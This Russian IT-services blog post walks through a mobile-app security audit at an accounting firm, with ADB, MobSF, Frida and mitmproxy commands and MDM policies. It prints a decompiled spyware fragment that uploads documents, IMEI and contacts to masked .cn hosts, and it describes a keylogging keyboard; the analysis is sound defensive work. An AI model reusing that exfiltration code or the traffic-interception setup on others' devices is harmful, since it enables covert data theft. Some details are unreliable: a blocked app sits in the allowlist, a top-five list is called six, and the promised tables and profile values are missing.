Аудит мобильных приложений: схема телефона с пермишенами и потоком данных unknown.cn tracking SDK 14 events/min ad-network IMEI, MAC contacts, GPS 47 телефонов · 312 приложений · 18 каналов утечки Запрошенные права: READ_CONTACTS READ_SMS RECORD_AUDIO ACCESSIBILITY SYSTEM_ALERT ACCESS_LOCATION FRIDA
Технический аудит мобильных приложений: что увидели наши инженеры на 47 устройствах бухгалтерской фирмы
Информационная безопасность · 18 мин чтения · Семёнов Е.С., руководитель ITfresh

Аудит мобильных приложений у бухгалтерии: что мы нашли в 47 телефонах

К нам в ITfresh обратилась бухгалтерская фирма из ЦАО — 47 рабочих мест, обслуживание примерно 240 юрлиц на УСН и ОСН. Старший партнёр заметил, что один из бухгалтеров получает странные звонки с упоминанием выручки конкретного клиента, и попросил «проверить, не льётся ли что-то с телефонов». Мы взяли в работу 47 устройств, перебрали 312 установленных приложений, через Frida и mitmproxy подсмотрели, куда они стучатся, и составили акт на удаление 23 приложений и переустановку клавиатур у 41 сотрудника. Эта статья — пошаговый разбор того, как мы это делали, без приукрашиваний.

Почему смартфон бухгалтера — самая уязвимая точка офиса

За последние пять лет границу периметра прошёл не межсетевой экран, а руки сотрудника. На рабочем компьютере у бухгалтера стоит антивирус, групповая политика блокирует USB и запуск неподписанных установщиков. На сервере 1С — отдельная VLAN, регулярные снапшоты, заполненный journald. А в кармане у того же бухгалтера — Android-смартфон, в который сама же бухгалтерия три года назад поставила «бесплатный сканер штрихкодов от Альфа-банка» из неофициального APK, потому что «в Google Play такого нет».

Отсюда простая фраза, которую я повторяю каждому клиенту: периметр компании сегодня заканчивается там, где находится не самый внимательный сотрудник. Не на роутере MikroTik, не на серверной стойке Dell — на экране телефона уставшего человека вечером.

У бухгалтерии угроза прицельная. Через мобильник проходит банк-клиент с push-подтверждениями платежей, СБИС с приёмкой первички, 1С Мобильное с базой контрагентов, ЭДО Контур с подписанием актов. На том же телефоне стоит мессенджер для общения с клиентами, в котором пересылается копия паспорта генерального директора, ключ ЭП и фото расчётного счёта. Утечка любого из этих каналов — это либо прямой увод денег, либо медленная продажа базы клиентов конкурентам.

С какой жалобы всё началось

Старший партнёр фирмы рассказал по телефону: «Звонит наша же сотрудница, говорит, что ей за выходные позвонили с номера +7 499, представились налоговой, и в разговоре назвали обороты по конкретному клиенту, которые она вчера вбивала в декларацию. Получается, кто-то знает то, что есть только у неё в смартфоне и в облаке СБИС». Я сразу поехал на встречу — за 15 лет работы это классический почерк инфостилера на стороне сотрудника, не утечки серверной БД.

Этап 1. Сбор телефонов и инвентаризация без шума

Главный риск аудита — спугнуть инсайдера, если он есть. Поэтому первое, что я сделал — попросил партнёра не объявлять «у нас будет проверка телефонов». Вместо этого мы оформили это как «обновление корпоративной политики безопасности» с обязательной установкой агента MDM. Сотрудники заранее получили шаблон уведомления, в пятницу вечером сдали телефоны на 90 минут — этого хватило для базового сбора без отрыва от работы.

Из 47 устройств: 38 Android (от Xiaomi Redmi 10C 2022 года до Samsung Galaxy A55 2024 года), 9 iPhone (от iPhone 11 до iPhone 15 Pro). По правам собственности — 12 корпоративных, 35 личных, на которых установлены рабочие приложения. Это типичный BYOD-сценарий, в котором мы и работаем чаще всего.

Базовый снимок системы я снимаю через ADB на Android и cfgutil на iOS:

# Android: список всех установленных пакетов с версиями и путём к APK
adb shell pm list packages -f -U > apps_$(date +%Y%m%d)_$DEVICE_ID.txt

# Полный дамп пермишенов по приложениям
for pkg in $(adb shell pm list packages | sed 's/package://'); do
  echo "=== $pkg ==="
  adb shell dumpsys package "$pkg" | grep -E "(granted=true|requested|firstInstallTime)"
done > permissions_dump.txt

# Список приложений с системными подписями (раскрывает «маскирующиеся» под Google)
adb shell pm list packages -s -i | sort

# Активные процессы и их сетевые соединения
adb shell ss -tunap 2>/dev/null > netstat_dump.txt

На 38 Android-устройствах в среднем оказалось 178 приложений на каждом, из которых 91 — пользовательские (без системы). Итого корпус для анализа: примерно 312 уникальных пакетов после дедупликации.

Первая группировка — что отсеяли сразу

Из 312 пакетов 89 — это известные мне крупные приложения с длинной историей: Telegram, WhatsApp, СберБанк Онлайн, ВТБ Онлайн, Тинькофф, СБИС, 1С Предприятие, Контур.Эльба, Microsoft Authenticator. Им я доверяю в том смысле, что они не сольют базу контрагентов на левый сервер. Но и для них дальше будет проверка пермишенов — потому что массовое доверие не значит, что у каждого пользователя они настроены безопасно.

Остальные 223 пакета — мишень для глубокого аудита. Из них автоматически выделил 47 «подозрительных»: они либо имели подозрительные комбинации прав (READ_SMS + READ_CONTACTS + INTERNET без видимой причины), либо подписаны не Google Play, либо имели больше 12 рекламных SDK по выводу aapt dump badging. По ним я подключил статический анализ.

Этап 2. Статический анализ APK через jadx и MobSF

Подозрительные APK я выгружаю с устройства и прогоняю через MobSF (Mobile Security Framework) — открытый фреймворк, который раскладывает приложение на манифест, ресурсы, декомпилированный код и сигнатуры опасных вызовов. Установка локально на VM с Ubuntu 22.04:

# Локальная VM 4 vCPU / 8 GB RAM / 100 GB SSD
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh
./run.sh 127.0.0.1:8000

# Выгрузка APK с устройства
adb shell pm path ru.sus.scanner
adb pull /data/app/~~hash==/ru.sus.scanner-hash==/base.apk \
  ./apks/ru.sus.scanner.apk

# Дополнительно — декомпиляция в читаемый Java через jadx
jadx -d ./decompiled/ru.sus.scanner ./apks/ru.sus.scanner.apk

В MobSF я смотрю прежде всего на четыре блока: разрешения с пометкой «dangerous», список подключённых трекеров (Exodus Privacy через интегрированный сканер), список захардкоженных URL и наличие класса WebView с переопределённым shouldInterceptRequest — это типичный почерк приложений, которые стучатся на C2-сервер под видом загрузки картинок.

Кейс 1. Сканер документов с тремя серверами в КНР

Первая находка — приложение «Сканер ПДФ Профи», установленное на 18 из 38 Android-устройств. Открываю манифест: android.permission.READ_EXTERNAL_STORAGE, READ_CONTACTS, ACCESS_FINE_LOCATION, RECORD_AUDIO. Зачем сканеру документов микрофон и доступ к контактам? Никакого ответа в описании я не нашёл.

В декомпилированном коде через jadx нахожу класс com.scanpdf.tracker.UploadTask с тремя жёстко прописанными хостами в зоне .cn. После каждого сканирования приложение делает POST с base64-копией документа и метаданными устройства (IMEI, MAC, модель, версия Android, IP). По сути — каждая отсканированная накладная улетает на сторонний сервер.

// Фрагмент декомпилированного кода (упрощено)
public class UploadTask extends AsyncTask {
    private static final String[] HOSTS = {
        "https://api.scancloud-xxx.cn/v2/upload",
        "https://backup.docu-xxx.cn/sync",
        "https://stat.appmetric-xxx.cn/event"
    };

    protected Object doInBackground(Object... params) {
        String docBase64 = encodeFile((File) params[0]);
        JSONObject payload = new JSONObject();
        payload.put("doc", docBase64);
        payload.put("imei", DeviceInfo.getImei());
        payload.put("contacts", ContactsHelper.dumpAll());
        // POST на каждый хост в цикле для надёжности
        for (String host : HOSTS) httpPost(host, payload);
        return null;
    }
}

В отчёте я зафиксировал: приложение установлено у 18 сотрудников, через него за последний год прошло около 4200 первичных документов клиентов. Считай — копия годовой первички 240 юрлиц фирмы лежит на трёх серверах в КНР. Это не паранойя, это исходники.

Кейс 2. Кастомная клавиатура Pro

На 22 устройствах оказалась альтернативная клавиатура (не буду называть конкретное имя, чтобы не делать рекламу). У клавиатуры есть права BIND_INPUT_METHOD и доступ в интернет — нормальная штатная связка. Проблема в коде: класс SyncEngine каждые 6 минут отправляет JSON со всеми набранными за период строками длиннее 6 символов на сервер «для улучшения предиктивного ввода».

Бухгалтер набирает на этой клавиатуре пароль от 1С, ИНН клиента, сумму платежа в банк-клиенте, текст переписки в WhatsApp с генеральным. Всё это уходит на чужой сервер с обещанием «в обезличенном виде». Я в обезличивание не верю — слишком много контекста для деанонимизации даже у синтетического алгоритма.

Этап 3. Динамический анализ через Frida на эталонном устройстве

Статический анализ показывает, что приложение умеет, но не показывает, что оно делает прямо сейчас. Для этого нужен динамический анализ: запускаем приложение, перехватываем его системные вызовы, смотрим, какие API оно дёргает в реальной работе. Делаем это на эталонном тестовом устройстве — Pixel 6 с разлоченным загрузчиком и установленным Magisk + Frida-server.

Личные телефоны сотрудников я не рутую — это нарушение как этики, так и часто гарантии. Покупаем тестовое устройство, переносим на него подозрительный APK, запускаем под Frida с типичным сценарием использования.

# На рабочей станции с Frida CLI
pip install frida-tools

# На устройстве (с правами root)
adb push frida-server-16.5.0-android-arm64 /data/local/tmp/
adb shell "su -c 'chmod 755 /data/local/tmp/frida-server-16.5.0-android-arm64'"
adb shell "su -c '/data/local/tmp/frida-server-16.5.0-android-arm64 &'"

# Подключение и список процессов
frida-ps -U

# Скрипт-перехватчик для отслеживания всех HTTP-запросов через OkHttp
frida -U -l hook_okhttp.js -f ru.sus.scanner --no-pause

Сам hook_okhttp.js — это короткий JavaScript, который подменяет метод newCall в OkHttp и пишет в консоль каждый исходящий запрос вместе с заголовками и телом:

Java.perform(function() {
    var OkHttpClient = Java.use('okhttp3.OkHttpClient');
    OkHttpClient.newCall.implementation = function(request) {
        console.log('[OkHttp] -> ' + request.method() + ' ' + request.url());
        var headers = request.headers();
        for (var i = 0; i < headers.size(); i++) {
            console.log('  ' + headers.name(i) + ': ' + headers.value(i));
        }
        if (request.body() !== null) {
            var Buffer = Java.use('okio.Buffer');
            var buf = Buffer.$new();
            request.body().writeTo(buf);
            console.log('  body: ' + buf.readUtf8());
        }
        return this.newCall(request);
    };
});

За 30 минут наблюдения за «Сканером ПДФ Профи» я зафиксировал 47 исходящих запросов на три разных хоста. Запрос на каждый сохранённый документ дублировался дважды (двойная отправка с разных серверов SDK). В заголовках — IMEI, IMSI, Mac-адрес и версия прошивки.

Перехват HTTPS через mitmproxy

Если приложение использует не OkHttp, а низкоуровневые сокеты или native-библиотеку, Frida-hook на уровне Java бесполезен. Тогда я разворачиваю mitmproxy на VM и направляю на него весь трафик с тестового устройства, предварительно установив корневой сертификат mitmproxy в системное хранилище:

# mitmproxy 11 на Ubuntu 22.04
pip install mitmproxy==11.0.0
mitmproxy --listen-port 8080 --set ssl_insecure=false

# На устройстве через ADB настраиваем глобальный прокси
adb shell settings put global http_proxy 192.168.10.45:8080

# Сертификат mitmproxy в системное хранилище (требует root)
adb push mitmproxy-ca-cert.cer /sdcard/Download/
adb shell "su -c 'mv /sdcard/Download/mitmproxy-ca-cert.cer /system/etc/security/cacerts/c8750f0d.0'"
adb shell "su -c 'chmod 644 /system/etc/security/cacerts/c8750f0d.0'"
adb reboot

После этого вижу всё, что приложение шлёт по HTTPS — включая JSON-payload, токены и заголовки. На этом этапе всплыли ещё три истории: VPN-приложение «Free VPN Master» помимо туннелирования отправляло список всех URL пользователя на маркетинговый домен, фитнес-трекер передавал GPS на adserver каждые 90 секунд (даже когда тренировки не было), а блокировщик рекламы устанавливал свой root-сертификат и MITM-ил весь трафик пользователя.

Этап 4. Аудит iOS-устройств — другая методика

На девяти iPhone стандартный root-подход не работает: jailbreak на актуальных iOS 17/18 либо невозможен, либо ломает банковские приложения через Jailbreak Detection. Поэтому для iOS я использую другой набор инструментов.

Сначала собираю отчёт через MDM-агент (мы используем Jamf School и Microsoft Intune в зависимости от клиента). Из MDM получаю полный список приложений, версии, MDM-managed flag, дату установки. Это даёт картину «что стоит и откуда».

Дальше — анализ iOS Privacy Reports. С iOS 15.2 в системных настройках есть встроенный отчёт о доступе приложений к камере, микрофону, геолокации и сети. Он сохраняется на устройстве 7 дней. Я выгружаю его через ADB-аналог libimobiledevice:

# Установка libimobiledevice на macOS / Linux
brew install libimobiledevice

# Подключение устройства (требуется доверие на самом телефоне)
idevicepair pair

# Извлечение журнала диагностики и privacy
idevicecrashreport -e ./crashlogs/
idevicebackup2 backup --full ./backup/iphone_$DEVICE_ID/

# Парсинг privacy.json внутри бэкапа Plist-парсером

Помимо этого, я смотрю на «Configuration Profiles» — на iPhone это самый частый канал атаки. Установленный profile может перенаправить трафик на чужой VPN, поставить root-сертификат, заблокировать iCloud Lock. Из 9 iPhone у одного нашёл «бесплатный VPN-профиль», который пользователь поставил по ссылке из рекламы в Telegram. После удаления профиля и сертификата я полностью переустановил банк-клиенты.

Этап 5. Что мы нашли в итоге — разбор по категориям

После шести дней работы у меня был отчёт на 38 страниц, который я свёл клиенту в пять цифр. Вот они:

Главная находка для партнёра фирмы: причина утечки выручки конкретного клиента — клавиатура Pro у бухгалтера, отвечающего за этого клиента. Замена клавиатуры на встроенную AOSP плюс смена пароля 1С и банк-клиента закрыли сценарий за один день.

Этап 6. Внедрение MDM и политики на боевых устройствах

После аудита я не оставляю клиента наедине с длинным списком «что плохо». Дальше — внедрение MDM и групповых политик для мобильных. Для бухгалтерской фирмы мы выбрали Microsoft Intune (есть в их подписке Microsoft 365 Business Premium) плюс Apple Business Manager для iPhone.

Базовая политика для Android

# Android Enterprise — work profile со строгими настройками
# Конфигурация через Intune Admin Center -> Device Configuration

managed_apps:
  whitelist_only: true
  approved_list:
    - com.tencent.mobileqq         # запрет
    - org.telegram.messenger       # разрешено
    - com.whatsapp                 # разрешено
    - ru.sber.online               # разрешено
    - ru.contour.elba              # разрешено
    - com.microsoft.office.outlook # разрешено
    - com.1cv8.mobile              # разрешено

restrictions:
  installFromUnknownSources: false
  allowInstallApps: false             # установка только через corporate store
  allowDebuggingFeatures: false
  cameraDisabled: false               # камера разрешена для сканирования
  screenCaptureDisabled: true         # запрет скриншотов в work-profile
  copyPasteToPersonalProfile: false   # запрет copy/paste из рабочего в личное
  bluetoothContactSharing: false
  factoryResetDisabled: true
  defaultPermissionPolicy: deny
  allowedKeyboards:
    - com.google.android.inputmethod.latin
    - com.samsung.android.honeyboard

password_policy:
  minLength: 8
  requireBiometric: true
  maxFailedAttempts: 8
  lockTimeout: 60

Базовая политика для iOS

# Apple Configuration Profile (XML)

  PayloadType
  com.apple.applicationaccess
  allowAppInstallation
  
  allowAppRemoval
  
  allowSafari
  
  allowScreenShot
  
  allowAssistant
  
  allowAirDrop
  
  allowBookstore
  
  allowEnterpriseAppTrust
  
  allowUntrustedTLSPrompt
  
  forceEncryptedBackup

Главное в политике — разрешать только приложения из corporate store, запрещать установку из неизвестных источников, отключать скриншоты в рабочем профиле и блокировать передачу файлов между рабочим и личным контекстом. Это базовый минимум для любой компании, обрабатывающей персональные данные третьих лиц.

Этап 7. Регламент проверки на ежеквартальной основе

Аудит — это разовая процедура. Чтобы безопасность держалась во времени, нужен регламент. После проекта я предложил клиенту три уровня контроля:

  1. Ежедневно (автомат через MDM). Intune собирает inventory приложений, шлёт алерт в Telegram-канал нашей дежурной смены, если на устройстве появляется приложение из чёрного списка или происходит попытка установки из неизвестных источников. Реакция — звонок сотруднику и удалённое удаление.
  2. Раз в квартал (ручной mini-аудит). Наш инженер выгружает с MDM полный список приложений, прогоняет новые пакеты через MobSF, обновляет белый список. Работа на полдня инженера — около 12 000 рублей в квартал.
  3. Раз в год (полный re-аудит). Полное повторение проекта с Frida и mitmproxy на 3-5 эталонных устройствах. Работа на 2-3 дня — около 60 000 рублей.

За первые три месяца после внедрения MDM Intune прислал 14 алертов — кто-то из сотрудников пытался поставить «бесплатное приложение для расчёта налогов» из неофициального магазина, кто-то — менеджер игр для своего профиля. На каждый алерт реакция была в течение часа, проблем больше не было.

Контр-нарратив. Чего я НЕ рекомендую делать

В индустрии есть несколько популярных рекомендаций, которые я считаю вредными для МСБ. Делюсь личным мнением.

«Поставьте всем антивирус на телефон». Бесполезно. Большинство мобильных антивирусов на Android работают по сигнатурному принципу и не видят свежей малвари. На iOS они вообще не имеют доступа к процессам других приложений из-за песочницы. Зато создают ложное чувство безопасности и тормозят телефон. Гораздо эффективнее MDM с белым списком.

«Запретите все мессенджеры кроме корпоративного». Не работает с малым бизнесом. Клиенты пишут в WhatsApp/Telegram, и сотрудник в любом случае будет общаться. Лучше разрешить, но через MDM запретить автосохранение медиа и резервные копии в личное облако.

«Купите дорогой EMM-комбайн на тысячи долларов в месяц». Перебор для офиса 30-50 человек. Microsoft Intune входит в подписку Business Premium (около 2200 рублей за пользователя в месяц с учётом курса) и закрывает 90% задач малой компании. На больший масштаб уже имеет смысл смотреть в сторону Workspace ONE или Jamf.

Сколько это всё стоило клиенту

Для прозрачности — реальная смета по этому проекту:

Полная окупаемость — за один предотвращённый инцидент. Утечка одной базы клиентов фирмы стоит на чёрном рынке 200-400 тысяч рублей, а репутационно — это потеря 5-7 крупных клиентов сразу. Так что 175 тысяч за разовый аудит — это, по моим оценкам, 1/10 от стоимости одного инцидента.

FAQ: что чаще всего спрашивают клиенты

Можно ли провести аудит без рутования телефонов сотрудников?

Да. Базовый аудит — пермишены, список приложений, версии, активные сетевые соединения — снимается через ADB и MDM-агент без root. Рут нужен только для глубокого инструмента: hook-ов через Frida, перехвата HTTPS с подменой системных сертификатов, дампа SharedPreferences. На корпоративных телефонах для глубокого аудита мы используем выделенное тестовое устройство с root, а на боевые ставим только агент MDM.

Сколько стоит такой аудит для компании на 30-50 человек?

Для 47 устройств у клиента-бухгалтерии работа заняла 6 рабочих дней инженера и обошлась в 175 000 рублей. Сюда вошёл сбор данных, статический анализ 12 подозрительных APK, динамический анализ через Frida на 4 эталонных телефонах, отчёт с конкретным списком к удалению, политика MDM. Дальше клиент платит абонемент за поддержку MDM — 18 000 рублей в месяц.

А если сотрудники откажутся ставить MDM-агент на личные телефоны?

По моему опыту — большинство соглашается, если объяснить, что профиль work-only через Android Enterprise или Apple User Enrollment изолирован от личных данных. Видим только корпоративные приложения. Тем, кто отказывается, выдаём корпоративный телефон. Третий путь — отзыв доступа к рабочей почте и 1С с личного устройства, и часть людей в этот момент соглашается на MDM.

Какие приложения мы чаще всего удаляем у бухгалтеров?

Топ-5 за 2026 год: VPN-приложения с китайскими SDK (запрашивают полный доступ к трафику и логируют URL), кастомные клавиатуры (пишут всё, что вы набираете, включая пароли), фонарики с разрешением на чтение контактов, бесплатные сканеры документов с загрузкой в чужое облако, блокировщики рекламы, устанавливающие свой root-сертификат. Все шесть категорий — потенциальный канал утечки персональных данных клиентов фирмы.

Чем отличается аудит для бухгалтерии от аудита для разработчиков?

Бухгалтерия работает с банк-клиентами, СБИС, 1С Мобильным, ЭДО — это деньги и персональные данные клиентов. Угроза первая — кейлоггеры и шпионские клавиатуры. Разработчики держат на телефонах GitHub, корпоративный VPN, доступ к staging-серверам — у них приоритет на изоляцию от заражённых рабочих станций и защиту OAuth-токенов. Бухгалтеру я в первую очередь чищу клавиатуры и сторонние банк-сканеры, разработчику — всё, что может перехватить SMS с одноразовым кодом.

Итог

Бухгалтерская фирма из ЦАО за шесть дней работы получила список из 23 приложений к удалению, 41 устройство с переработанными настройками пермишенов, регламент квартального контроля и политику MDM на 47 человек. Главная утечка, с которой пришёл клиент, закрылась в первый же день — после удаления одной кастомной клавиатуры у одного бухгалтера. Дальше работа была про систему: чтобы такая ситуация не повторилась через полгода с другим сотрудником.

Похожая задача в вашей компании?

Расскажите, что у вас сейчас — пришлю план работ и оценку в течение рабочего дня.

Написать в Telegram  или  +7 903 729-62-41

Семёнов Е.С., руководитель ITfresh